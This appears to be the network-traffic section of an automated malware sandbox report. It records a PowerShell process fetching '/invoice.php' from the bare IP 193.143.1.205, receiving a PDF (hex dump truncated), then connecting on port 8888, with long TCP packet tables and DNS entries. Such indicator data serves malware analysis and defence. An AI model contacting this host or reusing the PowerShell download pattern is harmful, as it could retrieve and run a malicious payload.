Jan 15, 2025 13:08:04.543271065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.543287039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.543296099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.543303013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.543327093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.543324947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.543356895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.543371916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.543387890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.543389082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.543402910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.543418884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.543420076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.543433905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.543442011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.543452024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.543466091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.543484926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.543499947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.548079967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.565087080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.565104008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.565118074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.565130949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.565145016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.565167904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.565177917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.565182924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.565198898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.565221071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.565237045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.565263987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.565263987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.565263987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.565325975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.587308884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.587332010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.587451935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.587485075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.587501049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.587517023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.587532043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.587539911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.587547064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.587565899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.587572098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.587605000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.607764959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.607831001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.607846975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.607861996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.607884884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.607892990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.607899904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.607916117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.607932091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.607948065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.607965946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.607965946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.607985020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.608001947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.608007908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.608022928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.608035088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.608050108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.608067036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.608072042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.608082056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.608098984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.608110905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.608144045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.629084110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.629158974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.629182100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.629199028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.629205942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.629215002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.629242897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.629250050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.629257917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.629276037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.629287004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.629292011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.629308939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.629323959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.629333973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.629339933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.629355907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.629362106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.629380941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.629384041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.629403114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.629431963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.629475117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.629489899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.629503965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.629513025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.629518986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.629534960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.629547119 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.629560947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.629574060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.629581928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.629599094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.629614115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.629621983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.629628897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.629646063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.629652023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.629698992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.629709959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.629725933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.629750967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.629772902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.629771948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.629790068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.629806042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.629812002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.629822016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.629837990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.629844904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.629853010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.629868031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.629875898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.629884958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.629910946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.629954100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.629987001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.630004883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.630026102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.630027056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.630040884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.630048037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.630084991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.630103111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.630137920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.630152941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.630167961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.630172014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.630186081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.630202055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.630209923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.630218029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.630235910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.630245924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.630276918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.630278111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.630292892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.630331993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.630333900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.630347013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.630362988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.630387068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.630388021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.630403996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.630418062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.630429983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.630435944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.630454063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.630455971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.630470991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.630486965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.630497932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.630502939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.630521059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.630600929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.630625963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.630635977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.630642891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.630660057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.630675077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.630685091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.630690098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.630707026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.630712032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.630752087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.630985975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.631000996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.631015062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.631028891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.631033897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.631045103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.631062031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.631072998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.631077051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.631092072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.631102085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.631108046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.631124020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.631134987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.631139994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.631155968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.631158113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.631171942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.631186962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.631191015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.635128975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.635128975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.657762051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.657794952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.657810926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.657825947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.657840014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.657854080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.657871008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.657953024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.657953024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.657953024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.680058956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.680074930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.680090904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.680105925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.680120945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.680133104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.680138111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.680155039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.680181980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.680213928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.700383902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.700407982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.700433016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.700448990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.700464010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.700465918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.700493097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.700510979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.700537920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.700550079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.700552940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.700572014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.700592995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.700598001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.700609922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.700624943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.700632095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.700643063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.700659990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.700678110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.700697899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.721507072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.721534014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.721546888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.721561909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.721577883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.721590042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.721600056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.721616030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.721632004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.721647024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.721673012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.721674919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.721674919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.721674919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.721692085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.721710920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.721715927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.721736908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.721757889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.721771002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.721781015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.721796036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.721797943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.721815109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.721848011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.721853971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.721894026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.794389963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:05.169977903 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:05.175025940 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:05.175115108 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:05.175410986 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:05.180167913 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:05.959404945 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:06.011075020 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:06.190851927 CET	49705	8888	192.168.2.5	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 15, 2025 13:08:18.115212917 CET	55990	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 15, 2025 13:08:18.115212917 CET	192.168.2.5	1.1.1.1	0x4add	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 15, 2025 13:08:16.999526978 CET	1.1.1.1	192.168.2.5	0xbce4	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:16.999526978 CET	1.1.1.1	192.168.2.5	0xbce4	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 15, 2025 13:08:18.126773119 CET	1.1.1.1	192.168.2.5	0x4add	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	7088	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 15, 2025 13:08:03.152589083 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 15, 2025 13:08:03.961266994 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Wed, 15 Jan 2025 12:08:03 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 15, 2025 13:08:03.961283922 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 15, 2025 13:08:03.961302042 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
